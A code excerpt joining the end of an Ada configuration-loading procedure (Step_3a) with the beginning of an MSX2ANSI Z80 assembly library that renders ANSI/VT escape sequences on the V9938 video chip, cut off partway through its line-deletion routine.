NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ with Ada.Containers; with Ada.Characters.Conversions; with Specification_Scanner; use Specification_Scanner; separate (Configuration) procedure Step_3a (Target: in out Subsystem) is use type Ada.Containers.Count_Type; package ACC renames Ada.Characters.Conversions; package Subsystems renames Registrar.Subsystems; Config_Tree: Declaration_Trees.Tree; -- We now expect the Configuration unit to be present Config_Unit: constant Library_Unit := Reg_Qs.Lookup_Unit (Config_Unit_Name (Target)); -- Utilities function Find_In_Branch (Root: in Declaration_Trees.Cursor; Name: in Wide_Wide_String) return Declaration_Trees.Cursor; -- Searches for an entity Name within the branch rooted at Root - i.e. -- only within the immediate children of Root function Find_Package_In_Branch (Root: in Declaration_Trees.Cursor; Name: in Wide_Wide_String) return Declaration_Trees.Cursor; -- Invokes Find_In_Branch for Root and Name, and then asserts that -- the entity (if any) denoted by Name is a non-generic package procedure Load_Names (Package_Root: in Declaration_Trees.Cursor; List : in out Subsystems.Configuration_Vector); -- Load names expected to be given the root cursor of a package entity. -- Load names then iterates over the immediate children of that package -- entity, isolating constant String objects, and appending their names -- to List. -- Stages procedure Process_Build; procedure Process_Ada_Package (Build_Root: in Declaration_Trees.Cursor); procedure Process_C_Package (Build_Root: in Declaration_Trees.Cursor); procedure Process_Codepaths; procedure Process_Information; -------------------- -- Find_In_Branch -- -------------------- function Find_In_Branch (Root: in Declaration_Trees.Cursor; Name: in Wide_Wide_String) return Declaration_Trees.Cursor is use Declaration_Trees; Index: Cursor := First_Child (Root); begin while Index /= No_Element loop if WWU.To_Wide_Wide_String (Config_Tree(Index).Name) = Name then return Index; end if; Index := Next_Sibling (Index); end loop; return No_Element; end Find_In_Branch; ---------------------------- -- Find_Package_In_Branch -- ---------------------------- function Find_Package_In_Branch (Root: in Declaration_Trees.Cursor; Name: in Wide_Wide_String) return Declaration_Trees.Cursor is use Declaration_Trees; PC: constant Cursor := Find_In_Branch (Root, Name); begin if PC = No_Element then return PC; end if; declare PE: Declared_Entity renames Config_Tree(PC); begin Assert (Check => PE.Kind = Package_Declaration and then not PE.Is_Generic, Message => ACC.To_String (WWU.To_Wide_Wide_String (PE.Name)) & " shall be a non-generic package declaration." ); return PC; end; end Find_Package_In_Branch; ---------------- -- Load_Names -- ---------------- procedure Load_Names (Package_Root: in Declaration_Trees.Cursor; List : in out Subsystems.Configuration_Vector) is use Declaration_Trees; Index: Cursor := First_Child (Package_Root); begin while Index /= No_Element loop declare Ent: Declared_Entity renames Config_Tree(Index); begin if Ent.Kind = Object_Declaration and then Ent.Is_Constant and then WWU.To_Wide_Wide_String (Ent.Subtype_Mark) = "string" then List.Append ((Name => Ent.Name, Value => UBS.Null_Unbounded_String)); end if; Index := Next_Sibling (Index); end; end loop; end Load_Names; ------------------- -- Process_Build -- ------------------- procedure Process_Build is use Declaration_Trees; Build_Root: constant Cursor := Find_Package_In_Branch (Root => First_Child (Config_Tree.Root), Name => "build"); begin if Build_Root = No_Element then return; end if; -- Load the External_Libraries, if present declare P: constant Cursor := Find_Package_In_Branch (Root => Build_Root, Name => "external_libraries"); begin if P /= No_Element then Load_Names (Package_Root => P, List => Target.Configuration.External_Libraries); end if; end; Process_Ada_Package (Build_Root); Process_C_Package (Build_Root); end Process_Build; ------------------------- -- Process_Ada_Package -- ------------------------- procedure Process_Ada_Package (Build_Root: in Declaration_Trees.Cursor) is use Declaration_Trees; Ada_Root: constant Cursor := Find_Package_In_Branch (Root => Build_Root, Name => "ada"); Comp_Opt: Cursor; begin if Ada_Root /= No_Element then Comp_Opt := Find_Package_In_Branch (Root => Ada_Root, Name => "compiler_options"); if Comp_Opt /= No_Element then Load_Names (Package_Root => Comp_Opt, List => Target.Configuration.Ada_Compiler_Opts); end if; end if; end Process_Ada_Package; ----------------------- -- Process_C_Package -- ----------------------- procedure Process_C_Package (Build_Root: in Declaration_Trees.Cursor) is use Declaration_Trees; C_Root: constant Cursor := Find_Package_In_Branch (Root => Build_Root, Name => "c"); Comp_Opt: Cursor; CPP_Defs: Cursor; begin if C_Root /= No_Element then Comp_Opt := Find_Package_In_Branch (Root => C_Root, Name => "compiler_options"); if Comp_Opt /= No_Element then Load_Names (Package_Root => Comp_Opt, List => Target.Configuration.C_Compiler_Opts); end if; CPP_Defs := Find_Package_In_Branch (Root => C_Root, Name => "preprocessor_definitions"); if CPP_Defs /= No_Element then Load_Names (Package_Root => CPP_Defs, List => Target.Configuration.C_Definitions); end if; end if; end Process_C_Package; ----------------------- -- Process_Codepaths -- ----------------------- procedure Process_Codepaths is use Declaration_Trees; CP_Root: constant Cursor := Find_Package_In_Branch (Root => First_Child (Config_Tree.Root), Name => "codepaths"); begin if CP_Root /= No_Element then Assert (Check => Target.Name.To_String /= "aura", Message => "Root Configuration (AURA.Root) shall not " & "have a codepaths package"); Load_Names (Package_Root => CP_Root, List => Target.Configuration.Codepaths); end if; end Process_Codepaths; ------------------------- -- Process_Information -- ------------------------- procedure Process_Information is use Declaration_Trees; Info_Root: constant Cursor := Find_Package_In_Branch (Root => First_Child (Config_Tree.Root), Name => "information"); begin if Info_Root /= No_Element then Load_Names (Package_Root => Info_Root, List => Target.Configuration.Codepaths); end if; end Process_Information; begin Target.Configuration := (others => Subsystems.Configuration_Vectors.Empty_Vector); Scan_Package_Spec (Unit => Config_Unit, Unit_Tree => Config_Tree); Process_Build; -- Includes Ada and C packages Process_Codepaths; Process_Information; -- Now we have a sense of which packages are in the configuration unit, and -- which objects need to be exported from the loader program, executed in -- Step 3b -- However if we *know* we don't have anything to load, then we can skip -- right to step 4. This can happen when the configuration file is empty. if Target.Configuration.External_Libraries.Length = 0 and then Target.Configuration.Ada_Compiler_Opts.Length = 0 and then Target.Configuration.C_Compiler_Opts.Length = 0 and then Target.Configuration.C_Definitions.Length = 0 and then Target.Configuration.Codepaths.Length = 0 and then Target.Configuration.Information.Length = 0 then Step_4 (Target); else Step_3b (Target); end if; end Step_3a;
msx/apps/term/msx2ansi.asm
zoggins/yellow-msx-series-for-rc2014
19
12706
; MSX2ANSI ANSI V9938 Library v_1_7 ; ; Original Code by <NAME> (ANSI-DRV_BIN) ; Tobias has made this great piece of code and most of what is in it has been ; coded by him ; ; This version of code and conversion into SDCC library by <NAME> ; <EMAIL> ; ; Thanks to Piter Punk for his contribution on making this library also a great ; library to use for a remote terminal, he has fixed a few already implemented ; escape code behavior as well as adding several escape codes that are important ; for nCurses applications ; ; Comercial usage of this code or derivative works of this code are ; allowed ONLY upon agreement with the author. ; Non-comercial usage is free as long as you publish your code changes and give ; credits to the original authors ; ; Changelog: ; ; v1_7: ; OPJ - Minor improvments on unnecessary returns and unnecessary loading of ; parameters that do not change at all ; OPJ - Fix on LineFeed, the previous version would always return cursor column ; to 0 on LF which was not correct ; PK - Fix on Backspace behavior, when called as sub on the first column it was ; not behaving properly, causing the code to wander a print garbage ; PK - Fix on ErDis1, wrong opcodes used and it was not multiplying A contents ; PK - Fix on DO_HMMV, when doing a second pass, the second run would add the ; line offset again in DYL, being that the value was already adjusted ; OPJ - Ugly hack to fix Insert and Delete lines, work for now, beautyful code ; might come in another release :) ; OPJ - Synchronet started to send non ANSI escape sequences all over the place ; and as result, those codes are showing (as they should). I've disabled the ; output of unknown CSI sequences ; ; v1_6: ; OPJ - Changed the way HMMC is handled in the code, this resulted in 7% faster ; rendering of HISPAMSX MSX boot logo Ansi Art on a z80 at regular speeds_ ; OPJ - Changed the way HMMM is handled in the code, it should be faster but it ; is difficult to determine the performance increase, anyway, code is cleaner ; and easier to understand as well ; OPJ - Changed how AnsiPrint and AnsiPutChar work, which results in 8% faster ; rendering of HISPAMSXMSX boot logo Ansi Art on a z80 at regular speeds. Total ; is a 15% speed improvment! ; Piter Punk - Made a draft of Ansi Delete Lines and YMMM function, not working ; on some scroll situations ; OPJ - Reworked YMMM function to start faster not having to calculate on the ; fly, doing all calculations before sending can save some time if VDP still is ; processing a command ; OPJ - Reworked CopyBlock as CopyBlockDown and made it work calculating before ; calling YMMM ; OPJ - Reworked Delete Lines, it was not taking into consideration when you ; are at the last line or if deleted lines exceed line capability ; OPJ - Created Insert Lines and CopyBlockUp ; ; ; v1_5: ; Piter Punk - Added scrolling support (ESC[S and ESC[T) ; Piter Punk - Added Support to ESC[X (ANSI ECH) and SGR 8 (Concealed), ; SGR 39 (Default Foreground Color), SGR 49 (Default Background Color) ; Piter Punk - Added Support to ESC[d (ANSI VPA), ESC[e (ANSI VPR), ESC[G ; (ANSI CHA), ESC[I (ANSI CHT) and ESC[Z (ANSI CBT) ; Piter Punk - Added Support to ESC[nb, ANSI REP, which repeats the last char ; Piter Punk - Rewrite HorizontalTab routine to move cursor to a tabstop ; Piter Punk - Added back HorizontalTab (0x09) handling ; Piter Punk - Added save and restore cursor VT100 control codes ; OPJ - Fixed the issue with ESC[J, DO_HMMV was clearing memory that was not ; from its video page depending on the current line offset ; OPJ - Added the possibility of disabling cursor while putting text with ; AnsiPutChar through AnsiStartBuffer and AnsiEndBuffer, this might generate ; a more pleasant screen rendering without the cursor moving and also speed up ; certain operations like screen clearing and line deletions ; OPJ - Improved ESC[X to use VDP HMMV to delete as it is faster ; OPJ - Fixed Scroll Down, it was pushing the last line down and still visible ; OPJ - Fixed Scroll Up and Down and LineFeed, the line being excluded might be ; pushed into visible are, better have it in the border color than background ; color, as border color only changes when screen is cleared, using the ; same color as the background ; OPJ - Fixed quite a few characters below 0x20, those should be as faithful as ; 6x8 and my bad pixel art talent allows :D ; OPJ - Form Feed (12 or 0x0C) should clear screen and go to home, fixed that ; OPJ - Not all DO_HMMV commands were setting the desired color, causing that ; sometimes the color would be wrong after ANSI delete Commands ; OPJ - Added ESC[@ (Insert Chars) ; ; v1_4: ; OPJ - Control code BELL (7) now beeps ; ; v1_3: ; OPJ - Character code 16 was in code 18, fixed that ; Piter Punk - Fixed bad behavior of CSIm (no parameters) as well as a crash ; Piter Punk - Add support for reverse video mode ; ; v1_2: ; Added ESCx5 (turn off cursor) support ; Added ESCy5 (turn on cursor) support ; If a character is below 0x20 and not a screen control code, print it ; Fix characters code 16, 17, 24, 25, 26, 27, 30 and 31 ; Probably not all characters below 0x20 (32) are correct... ; ; v1_1: ; Added ESC[J behavior when no parameter / 0 was choosen (delete from cursor on) ; Added ESC[1J (delete from cursor up to top of screen) and fixed ESC[2J support ; Fixed behavior when no parameters were given (it was not always correct) ; Added ESC[nP support for Linux telnet daemons SECTION CODE ; ; C Functions area ; ; In this section, we handle the calls from C code ; ; AnsiInit needs no parameters ; ; Will set the proper screen mode, clear screen, set cursor stuff ; ; You MUST call it, otherwise results might be unpredictable and crash ; ; void AnsiInit() PUBLIC _AnsiInit _AnsiInit: PUSH IX ; Interslot call might mess with IX, IY and C expect it to be intact PUSH IY CALL V9938_Init ; Initialize screen mode, etc CALL V9938_InitCursor ; Initialize cursor and return CALL V9938_ClearScreen ; Clear screen POP IY POP IX ; Restore IX, IY so C won't have issues RET ; AnsiFinish needs no parameters ; ; Will restore MSX to Screen 0 and restore original palette ; ; You MUST call it before returning to MSX-DOS, otherwise user will face a ; static screen and think it has crashed (you can type MODE 80 and restore it ; manually). So MAKE SURE to handle CTRL+BREAK, CTRL+C, etc and call this function ; before returning_ ; ; void AnsiFinish() PUBLIC _AnsiFinish _AnsiFinish: PUSH IX ; Interslot call might mess with IX, IY and C expect it to be intact PUSH IY CALL V9938_Finish ; Restore POP IY POP IX ; Restore IX, IY so C won't have issues RET ; AnsiStartBuffer needs no parameters ; ; Will turn off sprite cursor if it is on, idea is to make rendering faster and ; there is no need to have the cursor enabled while rendering a live buffer. For ; some applications it is faster to use putchar than print, thus the need to indicate ; start and end of buffer printing ; ; void AnsiStartBuffer() PUBLIC _AnsiStartBuffer _AnsiStartBuffer: StartBuffer: LD A,(CursorOn) OR A RET Z CALL DisCursorSub XOR A LD (CursorUpdt),A RET ; AnsiEndBuffer needs no parameters ; ; Will turn sprite cursor back on if it was on, idea is to make rendering faster and ; there is no need to have the cursor enabled while rendering a live buffer. For ; some applications it is faster to use putchar than print, thus the need to indicate ; start and end of buffer printing ; ; void AnsiEndBuffer() PUBLIC _AnsiEndBuffer _AnsiEndBuffer: EndBuffer: LD A,1 LD (CursorUpdt),A CALL V9938_SetCursorX CALL V9938_SetCursorY ; Set cursor position LD A,(CursorOn) OR A RET Z CALL EnCursorSub RET ; AnsiCallBack - Will call a __z88dk_fastcall function with Column/Line as a parameter ; ; This is useful to handle quickly ESC[6n cursor position requests, as it is up to ; the user program to determine how to send that information_ ; ; void AnsiCallBack(unsigned int uiCallBackAddress) __z88dk_fastcall PUBLIC _AnsiCallBack _AnsiCallBack: LD (ANSI_CGP_CALL_VEC + 1),HL ; Load the callback function address LD A,0x01 LD (ANSI_CB),A ; Flag that have a callback function RET ; AnsiGetCursorPosition - Add possibility to get current cursor position ; unsigned int AnsiGetCursorPosition( ) ; LSB will be current Column ; MSB will be current Row _AnsiGetCursorPosition: LD A,(CursorCol) ; Get Current Cursor Column Position INC A ; Increment it (internally it is 0-79) LD L,A ; Place column in L LD A,(CursorRow) ; Get Current Cursor Row (line) Position INC A ; Increment it (internally it is 0-24) LD H,A ; Place row in H RET ; AnsiPutChar - will put the char in register L on screen or buffer if part of ; ANSI / VT sequence ; ; void AnsiPutChar(unsigned char ucChar) __z88dk_fastcall PUBLIC _AnsiPutChar _AnsiPutChar: LD A,L ; Parameter is in L BufferChar: OR A RET Z ; If 0, no need to print nor ANSI parameter LD C,A ; Save char in C LD A,(ANSI_M) OR A JR NZ,BufferChar_CNT ; Esc processing going on LD A,C CP 27 ; Is character ESC? JR Z,BufferChar_ESC ; Yes, so treat ESC buffer ; It is a printable character or control code, deal with it directly here CP 0x20 JR C,BufferChar_CCode ; If less than 0x20 (space), a control character BufferChar_NotCCode: LD (LastChar),A CALL V9938_PrintChar ; Call the print routine for our chip LD A,(CursorCol) ; Get Current Cursor Position INC A ; Increment it LD (CursorCol),A ; Save CP 80 ; Time to line feed? JR NC,BufferChar_LF ; If 80 or greater feed the line, and line feed will return to printtext loop ; Otherwise JP V9938_SetCursorX ; Set cursor on screen, it will return from there as it is done after this BufferChar_LF: XOR A LD (CursorCol),A ; Save new cursor position JP LFeedSub ; Feed the line and return from there BufferChar_CCode: ; Check if it is a control character and do the action, otherwise print it CP 13 JP Z,CarriageReturnSub CP 10 JP Z,LFeedSub CP 8 JP Z,BackSpaceSub CP 12 ; FF, clear screen and home JP Z,ANSI_ED_ED2Sub CP 9 JP Z,HTabSub CP 7 JP Z,BellSub JP BufferChar_NotCCode ; It is ESC BufferChar_ESC: LD (ANSI_M),A ; Indicate ESC is in progress LD HL,ANSI_S LD (HL),A ; Save in first buffer position INC HL ; Next buffer position LD (ANSI_P),HL ; Save in the pointer RET ; Done for now BufferChar_CNT: LD HL,(ANSI_P) ; Current buffer free position CP 27 ; was ESC last byte? JR Z,BufferChar_CH2 ; Yes, check position 2 ; No CP 'x' ; ESC x? JR Z,BufferChar_X ; Let's check if it is a parameter we know what to do CP 'y' ; ESC y? JR Z,BufferChar_Y ; Let's check if it is a parameter we know what to do LD A,C ; Restore character LD (HL),A ; Store in buffer INC HL LD (ANSI_P),HL ; new buffer position CP 48 JR C,BufferChar_END ; Character is less than '0', not a parameter I understand, so finished buffering code ; No, '0' or greater CP '@' JR NC,BufferChar_END ; If A > '@' not a parameter I understand, so finished buffering code ;Otherwise it is between 0 and ; so ESC command has not finished yet RET BufferChar_END: XOR A LD (HL),A LD (ANSI_M),A ; No longer processing BufferChar_RET: LD HL,ANSI_S JP PrintText_RLP ; Ok, print the buffer we did not process BufferChar_CH2: LD A,C ; Restore char LD (HL),A ; Store it INC HL ; Increment pointer CP '[' ; Just deal with ESC[ commands, other commands not supported at this moment JR NZ,BufferChar_XorY ; So if the second character is not [, check if it is x or y BufferChar_CH2a: LD (ANSI_M),A ; Ok, now we are gathering parameters for the command LD (ANSI_P),HL ; Save pointer RET ; Done BufferChar_XorY: CP 'x' ; modify cursor behavior / disable? JR Z,BufferChar_CH2a ; So if the second character is x, let's move on CP 'y' ; modify cursor behavior / enable? JR Z,BufferChar_CH2a ; So if the second character is not y won't jump ; print the ESC sequence and life goes on JR NZ,BufferChar_END ; So if the second character is not [, print the ESC sequence and life goes on BufferChar_X: LD A,C ; Restore character CP '5' ; ESC x5? LD A,0 ; Do not want to clear flag LD (ANSI_M),A ; No longer processing JP Z,VT52_DISCURSOR ; yes, disable cursor JR BufferChar_Y_END ; no, print the contents and end processing BufferChar_Y: LD A,C ; Restore character CP '5' ; ESC x5? LD A,0 ; Do not want to clear flag LD (ANSI_M),A ; No longer processing JP Z,VT52_ENCURSOR ; yes, enaable cursor BufferChar_Y_END: LD (HL),A ; Store in buffer INC HL LD (ANSI_P),HL ; new buffer position JR BufferChar_END ; not a parameter I understand, so print on the screen ; AnsiPrint - will proccess and print the string whose address is in HL (zero terminated) ; void __z88dk_fastcall AnsiPrint(unsigned char * ucString) PUBLIC _AnsiPrint _AnsiPrint: CALL StartBuffer ; Disable sprite to render faster, if needed BufferText: LD A,(HL) ; Load the character INC HL ; Increment pointer OR A ; 0? JP Z,EndBuffer ; Yes, end of string, endbuffer will return for us PUSH HL ; Save pointer CALL BufferChar ; Process or print it POP HL ; Restore pointer JP BufferText ; Continue ; PrintText - Will handle text in address pointed by HL, zero terminated PrintText: PrintText_RLP: LD A,(HL) ; Load the character INC HL ; Increment the pointer CP 0x20 JR C,PrintText_RLP_CC ; If less than 0x20 (space), a control character PrintText_RLP_NOCC: LD (LastChar),A PUSH HL ; Save Pointer CALL V9938_PrintChar ; Call the print routine for our chip POP HL ; Restore Pointer LD A,(CursorCol) ; Get Current Cursor Position INC A ; Increment it LD (CursorCol),A ; Save CP 80 ; Time to line feed? JR NC,PrintText_RLP_LFeed ; If 80 or greater feed the line, and line feed will return to printtext loop ; Otherwise CALL V9938_SetCursorX ; Set cursor on screen JP PrintText_RLP ; If up to position 80, done PrintText_RLP_LFeed: XOR A LD (CursorCol),A JP LineFeed PrintText_RLP_CC: ; Check if it is a control character and do the action, otherwise print it OR A RET Z ; If 0, done CP 13 JP Z,CarriageReturn CP 10 JP Z,LineFeed CP 8 JP Z,BackSpace CP 12 ; FF, clear screen and home JP Z,ANSI_ED_ED2 CP 27 JP Z,EscapeCode ; If an Escape code, let's check it CP 9 JP Z,HorizontalTab CP 7 JP Z,Bell JP PrintText_RLP_NOCC ; ; Internal Functions area ; ; In this section, functions for the rendering engine use ; Bell: CALL BellSub JP PrintText_RLP BellSub: PUSH HL PUSH AF PUSH BC PUSH DE PUSH IY PUSH IX LD IX,0x017D CALL CALSUB ; Interslot call to beep POP IX POP IY POP DE POP BC POP AF POP HL RET EscapeCode: LD A,(HL) INC HL CP '[' JP Z,Parameters CP 'A' JP Z,VT52_UP CP 'B' JP Z,VT52_DW CP 'C' JP Z,VT52_RI CP 'D' JP Z,VT52_LE CP 'H' JP Z,VT52_HOME CP '7' JP Z,VT100_SCP CP '8' JP Z,VT100_RCP JP PrintText_RLP Parameters: LD (OrgAddress),HL LD DE,Parameters_PRM LD (Parameters_PPT),DE XOR A LD (Parameters_PCT),A Parameters_RLP: LD DE,Parameters_PST ; PARAMETER STRING LD C,0 Parameters_SCN: LD A,(HL) INC HL CP ';' JR Z,Parameters_END CP '0' JR C,Parameters_END CP '@' JR NC,Parameters_END INC C LD (DE),A INC DE JR Parameters_SCN Parameters_END: LD (Parameters_TRM),A ; SAVE TERMINATING CHAR LD A,C OR A JR Z,Parameters_SETOMT CP 1 JR Z,Parameters_RD1 ; READ ONE DIGIT CP 2 JR Z,Parameters_RD2 ; READ TWO DIGITS CP 3 JR Z,Parameters_RD3 ; READ THREE DIGITS ; More than three digits, just ignore for now PUSH AF LD A,'?' ; A command we do not support to make sure this is ignored LD (Parameters_TRM),A ; TERMINATING CHARACTER POP AF JR Parameters_SET Parameters_ERR: LD HL,(EndAddress) ; Do not print sequences we do not handle XOR A JP PrintText_RLP Parameters_RD1: LD A,(Parameters_PST) SUB 48 JR Parameters_SET Parameters_RD2: LD A,(Parameters_PST) SUB 48 ADD A,A LD C,A ADD A,A ADD A,A ADD A,C LD C,A LD A,(Parameters_PST+1) SUB 48 ADD A,C JR Parameters_SET Parameters_RD3: LD A,(Parameters_PST) SUB 48 ADD A,A LD C,A ADD A,A ADD A,A ADD A,C LD C,A LD A,(Parameters_PST+1) SUB 48 ADD A,C ADD A,A LD C,A ADD A,A ADD A,A ADD A,C LD C,A LD A,(Parameters_PST+2) SUB 48 ADD A,C Parameters_SET: LD DE,(Parameters_PPT) ; PARAMETER POINTER LD (DE),A INC DE LD (Parameters_PPT),DE LD A,(Parameters_PCT) ; PARAMETER COUNT INC A Parameters_SETOMT: LD B,A LD (Parameters_PCT),A LD A,(Parameters_TRM) ; TERMINATING CHARACTER CP ';' JP Z,Parameters_RLP LD (EndAddress),HL CP 20 JP C,Parameters_ERR CP 'H' JP Z,ANSI_CUP CP 'f' JP Z,ANSI_CUP CP 'R' JP Z,ANSI_CUP CP 'A' JP Z,ANSI_CUU CP 'B' JP Z,ANSI_CUD CP 'C' JP Z,ANSI_CUF CP 'D' JP Z,ANSI_CUB CP 's' JP Z,ANSI_SCP CP 'u' JP Z,ANSI_RCP CP 'J' JP Z,ANSI_ED CP 'K' JP Z,ANSI_EL CP 'L' JP Z,ANSI_IL CP 'M' JP Z,ANSI_DL CP 'm' JP Z,ANSI_SGR CP 'n' JP Z,ANSI_CGP CP 'P' JP Z,ANSI_DCH CP 'b' JP Z,ANSI_REP CP 'd' JP Z,ANSI_VPA CP 'e' JP Z,ANSI_CUD CP 'G' JP Z,ANSI_CHA CP 'I' JP Z,ANSI_CHT CP 'Z' JP Z,ANSI_CBT CP 'X' JP Z,ANSI_ECH CP 'S' JP Z,ANSI_SU CP 'T' JP Z,ANSI_SD CP '@' JP Z,ANSI_ICH JP Parameters_ERR ; OPJ - Add possibility to current cursor position be sent to a callback function ANSI_CGP: ; ANSI Cursor Get Position LD A,B CP 1 JR NZ,ANSI_CGP_END ; Not only 1 parameter, not 6n, done LD A,(Parameters_PRM) CP 6 ; Is it 6? JR NZ,ANSI_CGP_END ; Not 6, so it is not 6N ; Ok, ESC[6n, do we have a callback to report cursor position? LD A,(ANSI_CB) ; Is there a callback programmed? OR A JR Z,ANSI_CGP_END ; Nope, sorry, nothing to do ; So, lets report the position LD A,(CursorCol) INC A LD L,A ; Column goes in L LD A,(CursorRow) INC A LD H,A ; Row goes in H ANSI_CGP_CALL_VEC: CALL 0 ; This address will change when someone wants to receive callbacks ANSI_CGP_END: LD HL,(EndAddress) JP PrintText_RLP ANSI_CUP: ; ANSI Cursor Position LD A,B OR A JR Z,ANSI_CUP_HOM DEC A JR Z,ANSI_CUP_ROW LD A,(Parameters_PRM+1) DEC A LD (CursorCol),A ANSI_CUP_ROW: LD A,(Parameters_PRM+0) ANSI_CUP_ROW1: DEC A LD (CursorRow),A JR ANSI_CUP_RET ANSI_CUP_HOM: XOR A LD (CursorRow),A LD (CursorCol),A ANSI_CUP_RET: CALL V9938_SetCursorX CALL V9938_SetCursorY LD HL,(EndAddress) JP PrintText_RLP ANSI_CUU: ; ANSI Cursor Up LD A,B LD B,1 OR A JR Z,ANSI_CUU_SET ANSI_CUU_GTC: LD A,(Parameters_PRM+0) LD B,A ANSI_CUU_SET: LD A,(CursorRow) SUB A,B JR NC,ANSI_CUU_SCP XOR A ANSI_CUU_SCP: LD (CursorRow),A CALL V9938_SetCursorY LD HL,(EndAddress) JP PrintText_RLP ANSI_VPA: ; ANSI Vertical Position Absolute LD A,255 LD (CursorRow),A ANSI_CUD: ; ANSI Cursor Down LD A,B LD B,1 OR A JR Z,ANSI_CUD_SET ANSI_CUD_GTC: LD A,(Parameters_PRM+0) ;OPJ - Fix for 255 so cursor row won't overlap and have a low value when it should be > 24 CP 26 JR C,ANSI_CUD_SAV LD A,25 ANSI_CUD_SAV: LD B,A ANSI_CUD_SET: LD A,(CursorRow) ADD A,B ; OPJ changes to allow 25 lines CP 25 JR C,ANSI_CUD_SCP LD A,24 ANSI_CUD_SCP: LD (CursorRow),A CALL V9938_SetCursorY LD HL,(EndAddress) JP PrintText_RLP ANSI_CHA: ; ANSI Cursor Horizontal Absolute LD A,255 LD (CursorCol),A ANSI_CUF: ; ANSI Cursor Forward LD A,B LD B,1 OR A JR Z,ANSI_CUF_SET ANSI_CUF_GTC: LD A,(Parameters_PRM+0) ;OPJ - Fix for 255 so cursor column won't overlap and have a low value when it should be > 24 CP 81 JR C,ANSI_CUF_SAV LD A,80 ANSI_CUF_SAV: LD B,A ANSI_CUF_SET: LD A,(CursorCol) ADD A,B CP 80 JR C,ANSI_CUF_SCP LD A,79 ANSI_CUF_SCP: LD (CursorCol),A CALL V9938_SetCursorX LD HL,(EndAddress) JP PrintText_RLP ANSI_CUB: ; ANSI Cursor Back LD A,B LD B,1 OR A JR Z,ANSI_CUB_SET ANSI_CUB_GTC: LD A,(Parameters_PRM+0) LD B,A ANSI_CUB_SET: LD A,(CursorCol) SUB A,B JR NC,ANSI_CUB_SCP XOR A ANSI_CUB_SCP: LD (CursorCol),A CALL V9938_SetCursorX LD HL,(EndAddress) JP PrintText_RLP ANSI_SCP: ; ANSI Save Cursor Position LD A,(CursorCol) LD (SavedCol),A LD A,(CursorRow) LD (SavedRow),A LD HL,(EndAddress) JP PrintText_RLP ANSI_RCP: ; ANSI Restore Cursor Position LD A,(SavedCol) LD (CursorCol),A LD A,(SavedRow) LD (CursorRow),A CALL V9938_SetCursorX CALL V9938_SetCursorY LD HL,(EndAddress) JP PrintText_RLP ANSI_DCH: ; ANSI Delelete Characters LD A,B OR A JR NZ,ANSI_DCH_GP ; Default is delete one char if no number is given INC A JP V9938_DelChr ANSI_DCH_GP: LD A,(Parameters_PRM+0) ; Load parameter, number of characters to delete JP V9938_DelChr ANSI_REP: ; ANSI Repeat Last Character LD A,B LD B,1 ; No parameter means repeat once OR A JR Z,ANSI_REP_RLP LD A,(Parameters_PRM) LD B,A ; Load the number of repeats ANSI_REP_RLP: LD A,(LastChar) PUSH BC PUSH HL CALL V9938_PrintChar ; Call the print routine for our chip LD A,(CursorCol) ; Get Current Cursor Position INC A ; Increment it LD (CursorCol),A ; Save PUSH AF CALL V9938_SetCursorX ; Set cursor on screen POP AF CP 80 JR C,ANSI_REP_ELP ; If up to position 80, done XOR A LD (CursorCol),A ; Otherwise cursor is back to position 0 CALL LFeedSub ; And feed the line ANSI_REP_ELP: POP HL POP BC DJNZ ANSI_REP_RLP ; It's the end? No? Repeat! JP PrintText_RLP ANSI_ED: ; ANSI Erase in display LD A,B OR A JR Z,ANSI_ED_ED0 ; Default is delete from current position on LD A,(Parameters_PRM+0) CP 0 JR Z,ANSI_ED_ED0 CP 1 JR Z,ANSI_ED_ED1 CP 2 JR Z,ANSI_ED_ED2 ANSI_ED_ED0: JP V9938_ErDis0 ANSI_ED_ED1: JP V9938_ErDis1 ANSI_ED_ED2: CALL ANSI_ED_ED2Sub LD HL,(EndAddress) JP PrintText_RLP ANSI_ED_ED2Sub: CALL V9938_ClearScreen ; Usually should end-up here, but MS-DOS ANSI_SYS legacy place cursor on top left after ED ; Norm is cursor should be where it was, but, no one follows it, thanks to MS :D XOR A LD (CursorRow),A LD (CursorCol),A CALL V9938_SetCursorX CALL V9938_SetCursorY RET ANSI_EL: ; ANSI Erase in Line LD A,B OR A JP Z,V9938_ErLin0 LD A,(Parameters_PRM+0) CP 1 JP Z,V9938_ErLin1 CP 2 JP Z,V9938_ErLin2 JP V9938_ErLin0 ANSI_IL: LD A,B LD B,1 ; No number is one Row OR A JR Z,ANSI_IL_RUN LD A,(Parameters_PRM) ; Read how many Rows LD B,A ANSI_IL_RUN: LD A,(CursorRow) LD C,A ; Copy Origin C (CursorRow) ADD A,B CP 25 JR C,ANSI_IL_CONTINUE ; If less than 25, mean we need to move data before inserting lines ; If number of lines to move reach the end of screen or more, set cursor to first column and Erase Display 0, then return cursor, it is faster LD A,(CursorCol) PUSH AF ; Save current Cursor Column XOR A LD (CursorCol),A ; For now in first column CALL V9938_ErDis0Sub ; Make ED0 POP AF ; Restore column LD (CursorCol),A ; Back to the right column JP ANSI_IL_END ; And done ANSI_IL_CONTINUE: ; Ok, so we will need to move, delete and clear PUSH BC ; Save B (how many rows) LD B,A ; Copy Destination B LD A,25 ; (CursorRow + Rows) SUB B ; RowsToCopy in A ; (25 - Destination Row) CALL V9938_CopyBlockYUp POP BC ; Load How many Rows LD C,B ; Put Rows in C LD B,0 ; Indicates to use background color LD A,(CursorRow) ; From current cursor row CALL V9938_ClearBlock ANSI_IL_END: LD HL,(EndAddress) JP PrintText_RLP ANSI_DL: ; ANSI Delete Lines LD A,B LD B,1 ; No number is one Row OR A JR Z,ANSI_DL_RUN LD A,(Parameters_PRM) ; Read how many Rows LD B,A ANSI_DL_RUN: LD A,(CursorRow) LD C,A ; CopyDestination C (CursorRow) ADD A,B CP 25 JR C,ANSI_DL_CONTINUE ; If number of lines to move cursor to first column and Erase Display 0, then return cursor LD A,(CursorCol) PUSH AF ; Save current Cursor Column XOR A LD (CursorCol),A ; For now in first column CALL V9938_ErDis0Sub ; Make ED0 POP AF ; Restore column LD (CursorCol),A ; Back to the right column JP ANSI_DL_END ; And done ANSI_DL_CONTINUE: ; Ok, so we will need to move, delete and clear PUSH BC ; Save B (how many rows) LD B,A ; Copy Source B LD A,26 ; (CursorRow + Rows) SUB B ; RowsToCopy A ; (26 - CopySource) CALL V9938_CopyBlockYDown POP BC ; Load How many Rows LD A,25 SUB B 